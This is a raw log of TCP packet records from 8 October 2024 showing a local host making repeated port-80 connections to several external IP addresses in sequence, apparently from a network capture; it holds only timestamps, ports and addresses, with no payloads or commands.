Oct 8, 2024 15:22:57.929452896 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929466009 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929613113 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.929613113 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.929632902 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929647923 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929661036 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929817915 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.929817915 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.929981947 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:58.035999060 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036068916 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036206007 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036218882 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036356926 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036360979 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:58.036559105 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:58.036639929 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036684990 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036706924 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036717892 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036727905 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:58.036901951 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:58.036901951 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:59.118310928 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.138117075 CEST	49754	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.244590998 CEST	80	49754	66.198.240.15	192.168.11.20
Oct 8, 2024 15:23:00.244779110 CEST	49754	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.250128031 CEST	49754	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.356391907 CEST	80	49754	66.198.240.15	192.168.11.20
Oct 8, 2024 15:23:00.498110056 CEST	80	49754	66.198.240.15	192.168.11.20
Oct 8, 2024 15:23:00.498123884 CEST	80	49754	66.198.240.15	192.168.11.20
Oct 8, 2024 15:23:00.498392105 CEST	49754	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.500307083 CEST	49754	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:23:00.606323004 CEST	80	49754	66.198.240.15	192.168.11.20
Oct 8, 2024 15:23:05.935188055 CEST	49755	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:06.035075903 CEST	80	49755	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:06.035274982 CEST	49755	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:06.043348074 CEST	49755	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:06.143117905 CEST	80	49755	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:06.144726992 CEST	80	49755	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:06.144927025 CEST	49755	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:07.553983927 CEST	49755	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:07.653404951 CEST	80	49755	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:08.571563959 CEST	49756	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:08.670856953 CEST	80	49756	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:08.671076059 CEST	49756	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:08.678519011 CEST	49756	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:08.777863026 CEST	80	49756	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:08.780196905 CEST	80	49756	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:08.780327082 CEST	49756	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:10.193958998 CEST	49756	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:10.293915987 CEST	80	49756	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.211572886 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:11.313375950 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.313585997 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:11.321413040 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:11.321461916 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:11.421890020 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.421998024 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.422009945 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.422123909 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.422209978 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.422343016 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.422368050 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.423744917 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:11.423892975 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:12.834050894 CEST	49757	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:12.933936119 CEST	80	49757	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:13.851840019 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:13.951546907 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:13.951914072 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:13.956926107 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:14.056607008 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:14.061331034 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:14.061415911 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:14.061723948 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:14.063862085 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:14.068955898 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:14.069125891 CEST	49758	80	192.168.11.20	75.2.103.23
Oct 8, 2024 15:23:14.163286924 CEST	80	49758	75.2.103.23	192.168.11.20
Oct 8, 2024 15:23:19.246130943 CEST	49759	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:19.420795918 CEST	80	49759	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:19.420958042 CEST	49759	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:19.428404093 CEST	49759	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:19.602876902 CEST	80	49759	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:19.607518911 CEST	80	49759	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:19.607738972 CEST	49759	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:20.941648006 CEST	49759	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:21.959459066 CEST	49760	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:22.134489059 CEST	80	49760	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:22.134798050 CEST	49760	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:22.142191887 CEST	49760	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:22.316554070 CEST	80	49760	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:22.317989111 CEST	80	49760	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:22.318146944 CEST	49760	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:23.644191027 CEST	49760	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:24.661784887 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:24.838151932 CEST	80	49761	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:24.838335991 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:24.845937967 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:24.846020937 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:25.020869970 CEST	80	49761	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:25.021008015 CEST	80	49761	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:25.021136045 CEST	80	49761	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:25.024413109 CEST	80	49761	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:25.024574041 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:26.346751928 CEST	49761	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.364263058 CEST	49762	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.540482044 CEST	80	49762	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:27.540716887 CEST	49762	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.545782089 CEST	49762	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.721915960 CEST	80	49762	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:27.724241018 CEST	80	49762	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:27.724499941 CEST	49762	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.726433992 CEST	49762	80	192.168.11.20	213.249.67.10
Oct 8, 2024 15:23:27.902374983 CEST	80	49762	213.249.67.10	192.168.11.20
Oct 8, 2024 15:23:32.907864094 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:33.194114923 CEST	80	49763	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:33.194374084 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:33.201800108 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:33.829466105 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:34.224456072 CEST	80	49763	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:34.224682093 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:34.673015118 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:34.704451084 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:34.961324930 CEST	80	49763	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:34.975359917 CEST	80	49763	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:34.975372076 CEST	80	49763	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:34.975513935 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:34.975513935 CEST	49763	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:35.721911907 CEST	49764	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:36.010236025 CEST	80	49764	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:36.010399103 CEST	49764	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:36.018234015 CEST	49764	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:36.311238050 CEST	80	49764	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:36.315269947 CEST	80	49764	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:36.315407038 CEST	80	49764	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:36.315583944 CEST	49764	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:37.531789064 CEST	49764	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:38.549357891 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:38.710167885 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.710391998 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:38.717987061 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:38.718061924 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:38.878629923 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.878767014 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.878901958 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.879090071 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.925182104 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.925198078 CEST	80	49765	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:38.925338984 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:40.218799114 CEST	49765	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.236309052 CEST	49766	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.397361040 CEST	80	49766	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:41.397603989 CEST	49766	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.402642965 CEST	49766	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.563539982 CEST	80	49766	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:41.569927931 CEST	80	49766	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:41.570070982 CEST	80	49766	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:41.570251942 CEST	49766	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.572096109 CEST	49766	80	192.168.11.20	209.74.64.187
Oct 8, 2024 15:23:41.734194994 CEST	80	49766	209.74.64.187	192.168.11.20
Oct 8, 2024 15:23:46.697437048 CEST	49767	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:46.796804905 CEST	80	49767	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:46.797013998 CEST	49767	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:46.804467916 CEST	49767	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:46.903911114 CEST	80	49767	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:46.905275106 CEST	80	49767	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:46.905457020 CEST	49767	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:48.310683012 CEST	49767	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:48.410556078 CEST	80	49767	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:49.328247070 CEST	49768	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:49.427561045 CEST	80	49768	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:49.427766085 CEST	49768	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:49.435144901 CEST	49768	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:49.534558058 CEST	80	49768	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:50.950680017 CEST	49768	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:51.091074944 CEST	80	49768	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:51.968238115 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.067693949 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.067857981 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.075467110 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.075515985 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.075572014 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.075732946 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:52.174963951 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175132036 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175251961 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175263882 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175368071 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175528049 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.175539970 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.179806948 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:52.179971933 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:53.590758085 CEST	49769	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:53.690124035 CEST	80	49769	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:54.608532906 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:54.707755089 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:54.707863092 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:54.712918997 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:54.812310934 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:55.722628117 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:55.722644091 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:55.722887993 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:55.724823952 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:55.727216005 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:55.727397919 CEST	49770	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:23:55.824126959 CEST	80	49770	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:56.616777897 CEST	80	49768	3.33.130.190	192.168.11.20
Oct 8, 2024 15:23:56.616960049 CEST	49768	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:24:00.856887102 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:00.951812983 CEST	80	49771	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:00.951931953 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:00.959372997 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:01.054076910 CEST	80	49771	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:01.248963118 CEST	80	49771	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:01.249028921 CEST	80	49771	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:01.249142885 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:01.250114918 CEST	80	49771	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:01.250364065 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:02.463788986 CEST	49771	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:03.481400967 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:03.575880051 CEST	80	49772	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:03.576047897 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:03.583478928 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:03.677814960 CEST	80	49772	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:03.876974106 CEST	80	49772	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:03.877053976 CEST	80	49772	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:03.877204895 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:03.877278090 CEST	80	49772	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:03.877368927 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:05.088231087 CEST	49772	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.105796099 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.200225115 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.200359106 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.207966089 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.208014011 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.302539110 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.302553892 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.302562952 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.302571058 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.302741051 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.302782059 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.492079973 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.492171049 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.492295980 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.492376089 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:06.492460012 CEST	80	49773	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:06.492604971 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:07.712677002 CEST	49773	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:08.730257034 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:08.825229883 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:08.825352907 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:08.830410957 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:08.925322056 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131730080 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131820917 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131835938 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131956100 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131969929 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131982088 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.131993055 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132004023 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132023096 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132091999 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132106066 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132117987 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132128954 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132196903 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132240057 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132256985 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132261992 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132309914 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132407904 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132570982 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132668972 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132761002 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132786989 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.132884026 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.132934093 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.133147955 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:09.133271933 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.135485888 CEST	49774	80	192.168.11.20	104.21.73.154
Oct 8, 2024 15:24:09.230242014 CEST	80	49774	104.21.73.154	192.168.11.20
Oct 8, 2024 15:24:15.042661905 CEST	49775	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:15.202827930 CEST	80	49775	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:15.203011990 CEST	49775	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:15.211040020 CEST	49775	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:15.371604919 CEST	80	49775	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:15.371978998 CEST	80	49775	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:15.371992111 CEST	80	49775	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:15.372128963 CEST	49775	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:16.726301908 CEST	49775	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:17.743832111 CEST	49776	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:17.904002905 CEST	80	49776	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:17.904169083 CEST	49776	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:17.911602020 CEST	49776	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:18.071685076 CEST	80	49776	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:18.071861982 CEST	80	49776	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:18.071875095 CEST	80	49776	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:18.072007895 CEST	49776	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:19.413271904 CEST	49776	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:20.430802107 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:20.590877056 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.591032028 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:20.598625898 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:20.598696947 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:20.758991957 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759006023 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759027004 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759037018 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759046078 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759057999 CEST	80	49777	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:20.759320021 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:22.100111961 CEST	49777	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.117938995 CEST	49778	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.278201103 CEST	80	49778	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:23.278328896 CEST	49778	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.283864975 CEST	49778	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.443977118 CEST	80	49778	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:23.444147110 CEST	80	49778	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:23.444257021 CEST	80	49778	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:23.444425106 CEST	49778	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.446414948 CEST	49778	80	192.168.11.20	78.141.202.204
Oct 8, 2024 15:24:23.606411934 CEST	80	49778	78.141.202.204	192.168.11.20
Oct 8, 2024 15:24:28.722955942 CEST	49780	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:28.902249098 CEST	80	49780	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:28.902452946 CEST	49780	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:28.909904957 CEST	49780	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:29.089092970 CEST	80	49780	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:29.089884043 CEST	80	49780	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:29.089994907 CEST	80	49780	188.94.252.140	192.168.11.20
